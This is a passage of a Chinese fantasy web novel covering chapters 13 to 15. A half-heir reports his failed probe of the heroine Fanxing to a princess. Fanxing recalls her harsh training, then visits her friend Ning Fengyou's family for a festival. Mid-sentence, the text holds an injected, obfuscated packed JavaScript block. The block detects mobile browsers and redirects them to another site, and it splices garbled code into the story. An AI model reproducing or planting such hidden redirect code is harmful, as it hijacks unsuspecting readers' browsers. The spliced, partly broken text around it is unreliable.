“你对能否达到这次行动的目的并不在意,带着敷衍的意味。你与背后的指使人不是一条心,更像是被迫听命。可被迫,却还是听命了——背后的人位高于你,让你无法拒绝。” 姜溯的脚步错乱了一下,再次被繁星抓住机会,削去一截发丝。因贴了三道护身符,繁星的刀发出了削铁的声音。 “我与纪国,并没有什么牵连,唯一有的,只能是星术。知道我会星术,与我有过少量接触,且位高权重能命令你这纪国半圣子的人……是纪灵焰。她派你来的,嗯?试探我是不是周人?” 如果不是抽不出来手,姜溯真想擦擦汗。他又听到了扑棱翅膀的声音,有夜鸮往这个方向巡视来了。 繁星振刀,将姜溯的符剑彻底毁去,无视姜溯故作惊慌的脸,反手剪出姜溯隐在背后的偷偷摸摸的左手,看他捏着一张刚刚写好的紫符。 符上一个杀字。 繁星平淡地说:“杀符最后才用,欲盖弥彰。” 姜溯被掐的那只手故意变印,杀符飞出,繁星后仰,姜溯瞬间脱离她的掌控,翻身跃到一个方向。 他脚落地的空档,地面绽亮,现出一个旋转的阵式。看字符,是不知何时埋下的传送阵。 踏在即将启动的阵图上,姜溯这才面朝繁星。繁星已经发现杀符并无攻击力,只平平用刀挥灭,抬眼平静看他。 姜溯提唇一笑,“行动行动,动了就行。大荒殿下,我无意与您作对,咱们互相……走个过场就行。” 话音落,传送阵荧光一闪,将他吞没。 繁星从头到尾都很平静,她抬头看了眼天,将刀回鞘,没有任何印式,喊出巫术的名字。 “止息。” 刚刚还空无一物的密林空地上方,突兀地掠过一只夜鸮,它似乎察觉到隐约的动静,大眼睛凌厉地审视下方。 它扫过繁星的方向。繁星与它对视。 它掠了过去。 13.圣女冠(十三) 姜溯趁夜回到宿舍,从窗户翻进去的时候牵扯到伤口,忍不住痛骂纪灵焰。 至于为何不是骂繁星——他自己力不敌被对方伤成这样,若是骂她,岂不是将自己也骂了进去——姜溯从不干这种亏心事。 他这身夜行衣算是烂透了,全身上下差不多有二十多处刀伤,有两处刀口极深,不说深可见骨,也到了影响行动的地步。 旧伤未愈,又添新伤,还都是拜同一人所赐。姜溯嘲讽地提提嘴角,将沾血的夜行衣扒下来,简单处理了伤口,才拿出一个火红玉石拨给纪灵焰。 这种通讯玉为纪国特产,材质也不是什么新东西,五行币淬到极致,是为五行玉,不仅是高级货币单位,也是上好的符文或灵药载体。 神殿在其中刻录通讯符文,便能达到传音甚至面对面交流的效果。东西不算稀罕,三国都有,大约只是里面的符文不同。 若说最特殊的通讯手段,圣院的识玉算一个,它借助的载体比较特殊,听说和圣院的神兽太虚大人有关。也因此,即便身在圣院,三国传讯私密消息,也通常都会避开识玉。 消息接通,五行玉破碎散开,化为一面虚拟光镜。这是面对面交流的效果,因耗能过大,每块五行玉也只能负担一次。 姜溯当然是故意显示画面的,若不如此,怎能展示他这一身的伤? 光镜映出纪灵焰的脸,画面一呈现,她就皱眉,大约是嫌距离太近,将她高贵的脸照变形了,不耐烦将光镜往后挥了一截。 火光闪烁,光镜轰然破碎。 姜溯一挑眉,好整以暇坐在床边。纪灵焰自己失手把光镜打破,这可怪不了他。 过了一会儿,姜溯身上仅剩的最后一枚五行玉闪烁,他接通,看见一张冰块脸。是了,那是纪灵焰的应声虫,五行灵族效忠纪灵焰的证明,火灵族炎雀。 显然是炎雀用自己身上的五行玉打给了姜溯——圣女大人怎么可能亲自动手呢——将光镜调整到合适的角度距离,炎雀退至一旁。 纪灵焰出现在画面中心,始终恰好的距离,隐约照见她的护卫队其他人,呈众星拱月之势。 纪灵焰抬起高傲的眸,神火旋转,声音淡漠:“说吧。” 姜溯心里冷嗤,臭排场可真大。 面上洋洋开口:“遵殿下敕令,已试探大荒圣女完毕。” “如何?” “收到殿下敕令,溯当即行动。恰逢子时过半,在宿舍屋顶看见大荒圣女,她正在屋顶观星。看见我,主动引我至天芒山脚,似乎不想引起惊动。” “我与她在山脚打斗,她似乎一眼洞悉我的目的,猜出我是被殿下指派,试探她是否是周人。” 纪灵焰听到这里,才有一点动静,“她如何能猜到是我?” 姜溯实话实说:“她说上次第五宫考核,殿下看她展露星术,就已经面露异色。且能指使得动我这个纪国半圣子的人,肯定位高权重,想来想去,也只有殿下嫌疑最大了。” 纪灵焰淡淡颔首,又问:“你观她是否有周人行迹?” “恐怕要叫殿下失望了,我觉得那位大荒圣女除了会星术,实在跟周人半点干系也无。”姜溯耸耸肩,话语中还隐约有点责怪纪灵焰叫他白跑一趟的意思。 “怎么说?” “我与她拼斗,她星术和刀法都用。最常用的星术是附灵,此外还有一种涉及时空之法的瞬移之术,这术白天用似乎需要轨道标记,晚上就可以瞬发了。再有就是一种隐匿星术 ……” 姜溯如实叙述了繁星所用巫术的细节,最终总结:“比起星术,她那一手搏杀之术反而更出众些。她似乎更擅长也更愿意近身作战,走的也是刀刀致命的路数。这显然是大荒那种恶地才能养出的圣女,星术倒像是某种附带了。” 说完,为了印证自己话似的,扯扯衣衫,明明刚换过不久,却已经被持续渗血的伤口染出了血渍,“瞧,我这一身伤,全部拜她所赐,这哪像巫,倒比鲁人还凶残。” 纪灵焰听完,有半晌未语。她显然没那么容易糊弄,看着姜溯,鸟瞳眯起,“如此说来,她还真是个出身大荒的小部落圣女了?” 话音一转,声音陡然尖锐,“一个小部落圣女就能将你伤成这样,到底是她太强,还是你姜溯无能懈怠!” 光镜因无形的威压开始颤动,姜溯却一脸无畏,他甚至故意轻慢地抬抬下巴,挂上纪灵焰最不喜的表情。 “殿下要不相信,给我下敕令作何?纪国大把好青年,等着为殿下效死,何必为难我这种混日子的?” “况且,殿下只是叫我试探,又不是叫我下死手。当真失手在圣院杀了人,难道殿下还有功夫为我伸张冤情吗?” 纪灵焰眯起眼,侍立在她旁边的炎雀发出警告之音。 姜溯像是浑然不觉,尤嫌自己还不够讨厌似的,洋洋洒洒道:“殿下是要挂断了吗?不巧得很,之前被殿下毁了一个五行玉,这是最后一个了,若是挂了,殿下有什么地方听得不清楚,可就没法儿再问了。” 回答姜溯的,是神火化鞭,一击将光镜湮灭的场景。 光芒熄灭,映在姜溯脸上的亮光消失,房间空寂下来,随之落幕的,是姜溯嬉笑嘲讽的神情。 姜溯面无表情躺回到床上,窗外的月照见他幽深的眼。他今日说的都是真话,当然啦,真话中或许隐藏了一些无关紧要的细节。 这些细节,若不与大荒圣女近身接触,实难觉察。 她在月前的神秘与庄重;她在战斗时看似用尽全力,实则收放自如的微妙平衡;还有她挥刀拼砍时,那种不经意流露出来的,仿似要毁灭天地的愤怒…… 这真是大荒能养出来的圣女吗? 还是说,大荒自有神秘,是世人狭隘与轻看了呢? 思绪在这里就戛然而止了,被姜溯无情掐灭。 真相到底如何,他既不在意,也不关心。 说白了,这些都是“圣女”、“殿下”们要考虑的事儿,跟他这个小小纪国半圣子,又有什么干系呢? - 纪灵焰熄灭光镜,并没有表现出来得那么愤怒。 “炎雀,你怎么看?” 侍立在纪灵焰身后的冷峻男子面无表情道:“他说的都是真话。” 纪灵焰点头,却说:“真话不见得是真相。” “殿下怀疑姜溯吗?可要属下……” 纪灵焰抬手,淡漠地阻止,“不必。本来也只是试探,目前得到的信息,已经足够了。” “附灵是最基础的祈星星术,瞬移和隐匿,都是星术常见的能力,不值当我们大惊小怪。” 若纪灵焰身在圣院,有机会长期接触那位大荒圣女的话,倒不介意亲身试探一番。 可如今,她有探索周边境的要务,姜溯的回答也表明那位大荒圣女暂且没有疑点,那就放下,等那位大荒圣女真露出马脚,她再去处理也不迟。 炎雀点头应是,转头汇报起纪灵焰最关注的事:“祭司带队的人马已经出发,两日后即到。” 纪灵焰嗯一声,目光遥望周边境的方向,那里大雾弥漫,似乎自成一方世界,排斥三国的前进。 纪灵焰对此只觉得可笑。 那不过是周人残存的不甘,是徒劳的困斗。 终有一天,她会将这片土地的大雾焚尽,让神火弥漫每一个角落。届时,纪国旗帜会高高升起,纪国兽神会叫天下参拜! 纪灵焰将身体靠后,闭上眼睛,在入睡前对吩咐炎雀。 “我带队探索迷雾结界期间,圣院会开启第二次考核。届时,你留在外面,帮我替考。” 纪国神火的护道者炎雀,垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15031999|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了忠诚的头颅。 “遵令。” - 繁星回到她的院落屋顶,甚至还是原来的位置,重新闭上眼睛,就像一切从未发生。 她并非观星。所谓的观星本质是一种和星的连结与沟通。 她不用观星。 因为所有的星天然都跟她有连结。 从“醒来”开始,到如今,共有六年时间,这六年中,祭司教她任何,却从来不教她星术。 繁星也问过,周的传承不是星吗?为何祭司从不教导她与之相关的内容呢? 祭司当时用一种很复杂的眼神望着繁星,而繁星隐隐约约能意识到这种复杂。 祭司在羡慕她,仰望她,甚至信仰她。 祭司郑重地喟叹:“没有任何人可以教圣女星术。所有的星都喜爱您,从您出生的那一刻起,天然就与您有连结,为您所呼唤。” 也因此,繁星施普通星术时根本无需用印。她根本就不用沟通、呼唤,引动所谓的天地能量。 当她抬头看见星的时候,星也就看到了她。 在大荒的六年,繁星只学一种术,这世间最原始本质的生死搏杀之术。 训练从幼年的稽兽开始,祭司告诉她,“它在稽兽中尚未成年,与殿下一般大。不同的是,猛兽天生就会扑咬要害,而殿下你,却只会蛮力搏击。” 那只幼年稽兽撕咬繁星的脖子,繁星只会本能用星力护体,用两只手吃力握住它的尖牙。浑身都是血,祭司在旁边静默旁观,繁星力竭时,丢给她一把刀。 那只是氏族的人身上随手配的刀,却成了繁星求生的希望。那幼兽同她一样,还很浅薄,即便知晓要害,撕咬的动作也很生硬。繁星抓过刀,在它又一次亮出利齿时,一刀刺进它的喉咙。 那刀带着一点弧度,繁星被稽兽扑咬在地上,深深喘气,星空下,她看到刀尖刺出兽的喉咙,弯出体外,刀尖沁着一抹艳红的血。 星注视十岁的繁星,祭司朝繁星露出微笑。繁星决定,从此刻开始,她的武器,要是刀,还得是弯刀。 弯刀不似剑,没有顺应天地的曲直。那一抹弧度,是倔强,是残缺,也是残忍。 十二岁的时候,祭司告诉繁星,“猛兽的尖牙是武器,你的武器,要比兽齿更快。” 繁星已经可以面对比她大十倍的稽兽,一刀割断它的喉咙。 十四岁,祭司将繁星丢进兽巢,“在这里,每一只兽都比你强大。你是他们的猎物,活下去,成为猎手。” 繁星在异兽巢活了一个月,回来时,浑身浴血,却有了兽的眼神。 十六岁,祭司说:“殿下,杀伐之术,您已经学会一半,训练可以中止了。” 繁星自然要问,“怎么才是一半,另一半,祭司怎不教我?” 祭司遥望远方,她目光所见,是大荒之外的土地。 祭司说:“另一半,殿下要到外面去学。” 如今繁星来到了外面,她隐隐约约明白了,祭司说她尚未学会的另一半杀伐之术,到底是什么。 今晚,当她将刀横在姜溯的脖子上时,她有种战栗的快感,只需向右轻轻一滑,鲜血就会迸出。 她甚至希望来的人是纪灵焰! 她并不完美隐藏自己,甚至有意暴露,最好叫他们发现自己的破绽,引诱而来。 她扭曲期盼着某种震惊。 她直视别人的臆测。 她渴望一场天光、一场大战、一次酣畅淋漓的发泄! 就像重回少时的兽巢。 她以猎物的姿态出现,等待与命运交付于她的,注定的猎手相逢。 繁星在星下呆了很久才回屋。 睡前的时候,她平静地想:像姜溯那样,水平不高不低,规格不大不小的半圣子之流,可以多多益善。 14.圣女冠(十四) 又是一节丁院通识。 尾宫宫主云野正处于她一天中最激情饱满的时刻,相比之下,丁院的学生就不太能跟上她的节奏。 因天渐冷,丁院的通识课还倒霉地安排在上午。 这是节早课,要连上两个时辰。 繁星听到身旁的宁凤游咽下了第三个呵欠,将头转向窗外。银杏仍然金灿,只是落到地上的枯叶多了份厚重,有薄阳,淡淡晨雾。 今日时节,立冬。 云野换上了一件紫色镶白的兔毛夹袄。修行之人并不畏惧严寒,冬日穿薄衫纱裙的都很常见,云野宫主这么穿,显然是她个人的品味。 云野上课喜欢走动,这常常给丁院的学生压力。她走到繁星旁边,遮住那一扇窗景时,正好说到:“……神国纪元开启之前,还有个混乱时期。” 云野伸手,在繁星的……右边敲了敲:“你来说说。” 繁星的右手坐着宁凤游,她正要打第四个哈欠,嘴画了一个圆,看见云野的动作,蹭的一下站了起来,未出口的啊字生生吞了回去。 “是!”宁凤游条件反射地应道,“混乱时期,天降洪水,五行逆乱,异兽变异,史称大灾变!” 云野嗯一声,示意她继续。 “然后、然后以周为首的上古四神族站出来为民救世,之后周人启天,虚界降临……”宁凤游背书一样把云野课堂上讲过的话背了出来,背完嘴一闭,显然自己都觉得干巴。 云野却好像不觉得有什么问题,甚至有点满意,示意宁凤游坐下,继续道:“她说得不错,大灾变后的混乱时期,持续百多年,直至兽神降世,神国纪元开启,才逐渐稳定下来。” “可有没有人知道,大灾变的影响并未结束——姜溯,你来答!”云野猛然提高声音。 丁院的学生心中都闪过一句,来了。 这也是他们院的固定戏码了,自从这位半圣子上课睡觉被抓之后,就成了尾宫主的针对对象,几乎每节通识课,她都要叫姜溯起来回答问题。 偏偏这位半圣子出身神族,上课虽懈怠,一身懒筋,但基础通识打得牢靠。云野有时候上课上得喉咙干,就故意叫这位半圣子起来回答问题,他说得知识点一个不缺,也正好叫云野歇歇嘴。 姜溯后来大约也意识到自己被当了科普劳力,从此再不睡觉,只可惜野宫主已经尝到了甜头,目前他还没找到自救的办法。 姜溯慢吞吞站了起来,唇线抿直,脸色微沉,虽不甘愿,还是老实回道: “大灾变的表现,五行逆乱——兽神降世,提供的人与幻兽契约之法,虽给了人族自保之力,但并未解决五行逆乱的根源。相反,五行乱象一直持续。” “日渐短,夜渐长,春秋短,冬夏长。还有月,月越来越巨大,有倾塌之势,满月对异兽的影响异化也越来越严重。” “有传言说,这是第二次大灾变的征兆,也有传言说,或许第一次灾变,从来就没有结束……” 也不知道他是不是故意表达不满,说到大灾变表现的时候,明显放缓语调,调整韵律,生怕大家听不清。 最后总结时,更是字字加重了语气。 原本丁院的弟子都还抱着看笑话的心态,听着听着,开始觉得不对劲,脸也禁不住白了。 这,真有那么恐怖? 怎么在姜家半圣子嘴里,他们就跟末日不远了似的? 丁院弟子噤了声,面面相觑。云野从头至尾都很淡定,她一指姜溯,还点评:“瞧,这觉睡得足,精神头就是不一样,说话都说得更有条理了。” 天大的事儿到了尾宫主嘴里,都能当成笑话来说。 丁院的弟子就笑了。 哄笑声缓解了紧张的气息,姜溯抿唇坐下,目光微不可查扫过繁星的方向。 繁星没有像其他人一样笑,自然也没有紧张,没有异动。她就像一口深不见底的井,扔一块石头到井里,只能听见短暂的水声,却看不见水下的动静。 那次夜探后,已经过了几天,直至今日,依然风平浪静。 哪怕是跟大荒圣女走得最近的宁家人,看起来也不像是有觉察的样子。 显见大荒圣女对外并未声张。 这很好理解。如果她将深夜被人袭击的事抖落出去,圣院或许会调查,且加强对第五宫圣女的保护,可这无疑也暴露了她自己。 外人只会好奇,纪国是因何刺探这位大荒圣女,难不成她真跟周国有什么联系? 她的机敏一览无余,那晚跟他甫一照面,就洞悉了事情走向,引他至天芒山脚,也掐准了他不想声张,就必须帮她保守秘密的弱点。 姜溯不觉这有什么问题,却也自然而然延伸出了另一种心理——他和大荒圣女之间,也该有一种对共同秘密你知我知的默契。 ……结果什么都没有。 大荒圣女严格执行了他走前丢下的那句,“咱们互相,走个过场就行”。过场走完了,事件也就结束了,后续别说延伸出什么特殊,连个多余的眼神都不会有。 这叫姜溯……感觉莫名。 他忍不住开始观察大荒圣女。甚至因为这份漠视,姜溯有种别扭的冲动,他想主动上前,好心地、或者高傲提醒她一下—— 你不会真以为自己的伪装很完美吧? 你不会真以为纪灵焰相信我的说辞了吧? 姜溯脑中冒出了一连串“你不会”,几次话到嘴边,几乎脱口而出,结果看见大荒圣女冷然的脸,又觉自讨没趣。 于是姜溯的关注最多只看一眼,这一眼看完,他就将目光移开,移到窗外。 空气干冷,没有风,有种萧肃的静,金灿的杏叶也难免露出一分颓败之象。 立冬。姜溯眯了眯眼。 课至尾声,云野的状态罕见地没有萎靡,反而更兴奋了。 因为—— “今日立冬,圣院放假五天,从今天下午开始放。今天就算做一天了啊,各国的弟子要回去参加神祭的,下午就可以出发了。后几天可能会有雪,注意保暖添衣。好了,下课!” 云野看起来比丁院的弟子们还高兴。她从不拖堂,说下课,走得比所有人都快。 丁院的教室哄闹起来,繁星少见地好奇起来,问宁凤游:“立冬难道是什么大日子,为何放假五天?” 宁凤游这会儿是一点不困了,眼神亮晶晶地说:“不是立冬,是神祭节呀,三国最热闹的大日子,这天要集体回国,在神殿祭拜兽神哩~” 繁星哦一声:“中州也过神祭吗?中州的风俗不是一直跟外面不同?” 宁凤游呼啦啦收拾她的东西,一副急不可耐回家的样子。 “中州一开始是好像不过,但是外面都过嘛,而且神祭节各国兽神会神降赐福,中州没有也挺奇怪的,后来院长大人就拍板中州也要过神祭节,还叫太虚大人给中州百姓赐福。现在热闹程度已经不输给三国各邦了!” 宁凤游收拾好她的东西,看见繁星沉默,后知后觉想到什么:“繁星不回家过神祭吗?” “大荒出行不易,而且确实也没有这样的风俗。”繁星平淡地说。 宁凤游没说话,她忽地站到繁星眼前,一只手搭到繁星的小臂上,亮着眼睛,抿嘴要笑不笑的样子。 “……怎么了。”繁星迟疑。 “繁星,你跟我回家过节吧!” - 说下雪,下午放假的时候竟然就已经下起了雪。稀稀落落的,是干燥轻柔的雪点子,寂静地洒落。 宁凤游在雪中推着繁星走,留下一串碎小的脚印。 “繁星繁星,你就跟我回去吧!你又不回家,一个人住在院子里多孤单寂寥啊!” 繁星说:“之前不也是一个人住在院子里吗?” “那不一样!”宁凤游强调,“之前有我这个跟屁虫陪着,我这人别的优点没有,就是嗓门大,吵嚷嚷的住你隔壁你也感觉不出来静,等我一走你就知道了,而且神祭别人都回家,你不回去也没人找你串门……” 繁星头微微侧着,斜着身体跟宁凤游说话:“我可以修炼。” “别以为我不知道,繁星你修炼,不是练刀就是在月下睡觉。这在哪儿不是修啊!” “而且我知道你答应了!”宁凤游忽地停住叉腰,鼓嘴看繁星,一副我早知道你在逗我的样子。 繁星这才站直身体,浅浅一笑,说:“好吧。” 宁凤游嘴角翘起来,正要跟繁星好好说道一下她神祭节的计划,忽地看见什么,使劲摆手。 “哥!这里!” 繁星朝宁凤游招手的方向看过去,看见一个高大挺拔的男子踩着雪过来。 他穿一身月华色的袍子,外罩灰黑色的氅衣,皮肤很白,鼻梁高挺,走到她们跟前时,头上,氅衣领口,甚至眼睫上都落了雪点子。 “哥,我们等你好久啦!”宁凤游叫嚷起来。 很快想起什么,用力地弯腰侧开身,一副隆重介绍的模样:“这就是我跟你提过很多次的,第一次考核就得到太虚大人全天级评价、力敌纪国半圣子、名震我们圣院的大荒殿下,繁星。” 顶着这一串名头,繁星淡定地朝对面的男子微笑:“你好。” 宁凤游的哥哥名雪夜,确实有种与雪天相合的气质,繁星朝他微笑时,他慌忙眨去眼睫上的落雪,有些磕绊地说:“你、你好,我是凤游的哥哥,早就听她说起你了,只是一直无缘得见,凤游也不让我来找……”话没说完,俊秀的表情忽然一僵。 宁凤游站在她哥后侧方,手隐在腰后,不知道在使什么劲。 年轻人很快熟悉起来,三人往宁家的方向走,宁雪夜还细心地给繁星解释:“宁家巷离圣院不远,而且雪天行走别有意趣,若是殿下冷,我们也可以租一辆飞行幻器。” 直到繁星说不用,走着去就好,兄妹俩才推推搡搡在前面带路。 他俩互相驾着胳膊,同手同脚往前走,时不时还跟后面的繁星搭话,实际却用识玉疯狂传音。 “这就是你最近忙活的大事?”宁雪夜开学许久,一直没有露面,当然不是没有原因。源头就在于他的好妹妹开学后不久的叮嘱,“有大事密谋,勿扰。” 识玉中,宁凤游的声音高亢:“当然,我专心致志跟我的好姐妹培养感情,这可不就是大事?你知道我们这种假圣女在圣院讨生活有多不易吗,人家个个有来头,我当然要给自己找个搭子。” 宁雪夜若有所思往后看了一眼:“这位可不像是寻常搭子。” “那可不!”宁凤游与有荣焉地点头,“繁星可厉害了,一时半会儿都说不清。我一开始觉得她跟我一样没有玉圭,也是假冒的,现在我觉得,她指不定就是那种神秘的古族圣女,你懂吧,大荒多神秘啊,然后有个古族,因为第五宫,才出来求学。” 宁凤游神态憧憬:“反正我这次运气可好了,我就住繁星对门,跟她号码也排在一起,我要做繁星最好的姐妹!你没事不要打搅我们。哦,这次繁星跟我们回去过神祭节,你可得客气点,然后没事多多帮我美言几句,以维护好我在繁星心中美好的形象。” 就跟天下所有的哥哥一样,宁雪夜觉得妹妹是想多了,她哪有什么美好形象,哦,偷懒贪吃脾 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“第三天,属于百姓自发的庆贺,中州世家会摆一些小型流水宴席,晚上还有灯会。” 繁星认真听完,最终说:“听起来很热闹,无愧于三国最大的节日盛会。” 宁雪夜敏锐地发现,这位大荒殿下的态度似乎算不上完全的热络。她确然带着一种好奇,可好奇的本质是一种观望。 她似乎只想做旁观者,并没有全情投入的打算。 宁雪夜将这理解为,各地风俗的不同。他及时地将话音一转:“其实也不是所有部族都过神祭,至少我知道一些巫族就不过。它们有各自信仰的天地之灵,祭拜的庆典也各不相同。” “我知道,我知道,就像繁星族里的司辰部一样,是吧?”宁凤游接过话茬,她抱着繁星的胳膊,好奇地说,“繁星的部族会过什么节呢?” 宁雪夜也投来好奇的目光。 繁星想了一下,说:“过,我的生日?” 她表情倒很正经,就是太正经了,扬着尾音一本正经回答的样子,莫名叫人想笑。 宁凤游就咯咯笑起来:“生日谁不过嘛,哈哈,说起来繁星你的生日我还不知道呢……” 繁星正要回答,余光见到他们正好走到天芒出口,圣院放假的弟子一齐出界,造成了短暂的拥堵,要出口的话便顺势隐了回去。 “哇,人这么多!我记得天芒不是有三个出口?”宁凤游也吓一跳,倒忘了追问之前的问题。 “每年放假都这样,东边出口靠近宿舍,人就更多些。”宁雪夜看了眼繁星,和声问,“要换方向吗?” 繁星说:“不用。宁大哥不也说了吗,雪天行走别有意趣,在这里等等也无妨。” 说话的时候,繁星的目光会落在别人的眼睛上,能叫人知道她在看你,却又不觉冒犯。她穿素简的白裙,外罩一件剪裁简单的黑色斗篷,兜帽戴着,松松垂了一个拱形。世界因落雪泛起一种朴素的白,衬得她的眼瞳比雪还静。 宁雪夜几乎看怔了。 宁凤游看见自家哥哥这没出息的样子,鼻腔中不知怎地就哼出一口气,一伸胳膊把她哥撞开,拉着繁星走到队伍后面排队。 宁雪夜摸摸鼻子,跟了上去。 出了天芒,一路在雪中走回宁家。果真如宁雪夜所说,天芒外面的白玉广场,实际离宁家并不远。 步行大约一刻钟,来到一座高耸的白墙灰瓦的宅门前。这条街很安静,道路宽阔,却看不到什么贩夫走卒,应是世家领地。 只是宁宅门口,又与繁星想象中规整森严的风格不同。宁宅匾额……围了一圈藤蔓,门前立柱,不仅盘绕着蔓植,还开着五颜六色的小花。 风格……十分清新。 宁凤游双臂伸展,大大地摊开手,嘴里发出登登的声音,笑容满面。 “繁星,欢迎来到我的家!” 于是繁星被宁凤游牵着,走入宁家的世界。 老实说,宁家内部,不像个宅院,倒像个花园。且那些花草并非普通凡物,多为幻植。 繁星经过,有些微有灵智的花,还会伸出叶片,勾勾繁星的手。这时候藤花大人就会出现,一藤条将那些不长眼勾搭人的花草扇开,鬼脸几乎显露出生动的警告之色。 繁星说:“这些幻植,都很听藤花的话啊。” 宁凤游挠挠头,不知如何解释:“藤花祖宗,在我们家,是老大,嘿嘿。” “我们家是幻植世家,因此草木多了些,叫殿下见笑了。”宁雪夜说。 繁星摇头:“很有趣啊。看见这些花,我就知道,凤游因何能养出这么烂漫的性格。” 宁凤游激动了:“繁星,你在夸我?” 繁星笑:“是。在夸你。” 其后拜见了宁母何父。 宁氏族长,也就是凤游的母亲,名远芳。 她是个极干练俏丽的女子。繁星见到她的时候,她的鬓角簪了一朵掌大的粉芍药,却一点不艳俗,反而显得气质高雅,眉眼玲珑。 宁凤游见到宁远芳,就像只归巢的小鸟,欢快地叽叽喳喳:“娘亲娘亲,这就是我信中跟你说的繁星!” 又开始念她那一串费嘴的形容词。 繁星耐心地等宁凤游念完,淡定地躬身:“见过宁族长。” 宁远芳一把将繁星托住。 她慈爱地看住繁星,开口的话,却让繁星怔在原地。 她说:“见到你的第一眼,我就知道,凤游因何喜欢你。” 15.圣女冠(十五) 繁星当晚歇在了宁凤游的凤院小筑里。 这本来是不应该的,世家来客,理应住在专门待客的上房,可偏偏宁凤游不依。 她自有一番理论:“繁星来我家,跟我住一起,也能多些照应,我们在圣院也是住对门的,乍一换地方她不习惯怎么办?” 宁族长嗔怪地摇头:“这不是待客之道。” 可对于繁星来说,住哪里都是一样的,若真要比,相较于冷冰冰的客房,自然还是凤游的院子好。 两人意见一致,宁族长也就不好反对了。 繁星在凤游小筑歇下的那晚,下了一夜的雪。 第二日晨起,已是一片银装素裹。 今日是神祭第一天,圣院院长及太虚大人会亲自出面,主持祭典,降下赐福。 这是中州的大日子。繁星想到如今她是在宁家做客,理应尊重习俗,遂换了一身喜庆庄重些的红金衣裙。 颈上佩了金环,耳饰如昨。 如此,算得上隆重,也不会喧宾夺主。 繁星对镜检查仪容的时候,听到一阵鼓点般密集的敲门声。 “笃笃笃,笃笃笃……” 宁凤游清脆的嗓音绝不会被掩盖,“繁星、繁星!出发啦!走喽走喽!” 繁星推开门,眼前一花,定睛后才看清,是宁凤游,是盛装打扮的宁凤游。 今日盛典,她看起来花团锦簇,十分隆重。衣裙仍以橙红为主,以金色为点缀。繁星私以为,这确实是最适合她的颜色。 颈前配了璎珞,坠着红色的流苏,发丝不再像以前在圣院时那样,草率束个马尾,而是用各色发带,扎了两个小圆髻,发带余出来的部分,柔顺地垂下来,微微摇荡。 配合宁凤游稍圆的杏眼,显得欢庆,讨喜。 繁星认真看完,映天雪色里,冲宁凤游一笑。 “繁,咦,繁星今天……穿的好像有点不一样。”宁凤游刚咧开的笑脸变为疑惑。 繁星轻提嘴角:“怎么,难道我平时不是这么穿的?有何不同?” “就是不一样啊!”宁凤游边点头边摩挲下巴,“平时在圣院,繁星的衣饰都很简单,多以纯色为主。纯黑、纯白、纯红,至多穿个稳重的黑金。今天这金红,绝对是第一次穿!” 宁凤游语气十分肯定。 “神祭是中州的大日子,自该入乡随俗。”繁星笑了笑,算是默认了。她目光扫过宁凤游肩上的粉色发带,伸手捻起来,像是随意地问,“凤游的发式,也跟平时梳的不同。是自己梳的吗?” 宁凤游摸摸脑袋,“哎?不是啊,是梳头嬷嬷给我梳的,我手笨,在家里,一般是嬷嬷给我梳什么,就是什么。她说今日盛典,应打扮得欢庆讨喜些,才用发带给我扎成这样。” “时辰赶吗?”繁星又莫名其妙问了一句。 “啊?不赶啊。” “那,我帮凤游梳一次头吧。” …… 妆镜前,繁星轻柔地将宁凤游原本用发带扎起的圆髻拆散,用梳子梳顺后,换了个半披式盘髻。 她的手法称不上娴熟,姿态却很认真,时不时目视镜子,调整发丝的角度。 宁凤游坐在镜前目视繁星的动作,一会儿摸摸这个,一会儿扣扣那个。心里有些羞涩,又感觉新奇。 她的头发,在家是梳头嬷嬷梳,在外就是自己梳,小时候是个爱挥舞木棍的鸡窝头疯姑娘,就算是亲娘,也至多不过在小时候胡乱给她扎一把小髻。 从来没有人用这么……这么虔诚欣赏的态度梳她的头发。宁凤游觉得自己的用词有些不对,可她实在不知该如何形容眼前的场景了。 她透过镜子与繁星对视,微微歪头说:“感觉繁星也不像是爱打扮的人,为何又偏偏对着装、对装扮很在意呢。” “我在意吗?”繁星声音淡淡的,手上的动作不停。 “嗯!”本来想点头,但怕把繁星好不容易盘起来的发丝打乱,就重重嗯一声。 “大约是,族中祭司告诉我,出门在外,身份不可或忘,而形容仪表,又恰能最直观地反应一个人的整体面貌。” 宁凤游露出恍悟的神情,心中却得意地想,果然就跟她猜的那样,繁星是个大荒里走出来的古族圣女!要跟她们家似的,哪还讲究这规矩啊。 侧发妆点好,繁星伸手在宁凤游的妆奁中挑选主饰。一个个抽屉打开都不满意,直到拉开最后一个格子,繁星一顿,伸手拿出来。 是只凤钗。 看着繁星竟然选中了这只钗,宁凤游有些惊奇,解释说:“这是我今年十八岁生辰时,娘亲送我的生辰礼,但我觉得它太华丽了,一直没有场合戴,就收着了。” 繁星并不语,将那只凤钗举起来迎光看了一会儿后,郑重地插到宁凤游梳好的冠发上。 用行动表明,她认为今日既是佩戴的场合。 凤首昂扬向上,衔珠欲飞,竟然与宁凤游的神态气质有七分相衬。 宁凤游随着繁星的动作看向镜子的自己,呼吸骤然停住。明明她也是一直看着繁星动作的,怎么就走神一会儿,整个人看起来就完全不同了呢。 看着看着,宁凤游莫名羞耻起来,想习惯性地伸手挠挠头,又怕弄乱了繁星好不容易梳起来的冠发,讪讪收回。 “繁星给我梳的头,跟嬷嬷给我梳的,好不一样哦。”宁凤游过了半晌才憋出来一句,“嬷嬷说我面庞清丽柔和,眼是杏眼,精致讨喜的头型更适合我。” 繁星浅浅一笑,说:“嬷嬷说的话不算错,确也不全对。凤游虽然是杏眼,眼尾却呈上扬之势,五官整体柔和,鼻梁却笔直高挺,乃柔中带刚的气质。” “如此,讨喜圆髻可梳得,像这样稍微庄重成熟些的冠髻也梳得。今日场合适宜这种冠发,等过了神祭,凤游再梳圆髻也不迟。” 宁凤游却说不。 她看着镜中的自己,对于美、或是对于某些由来已久的东西的羞耻,像潮水一样褪去,经历洗刷,留下了一些本质的东西。而这样的本质,第一次,被她照见。 她空前坚定道:“我喜欢繁星给我梳的发式。这个,就是比之前更适合我。” 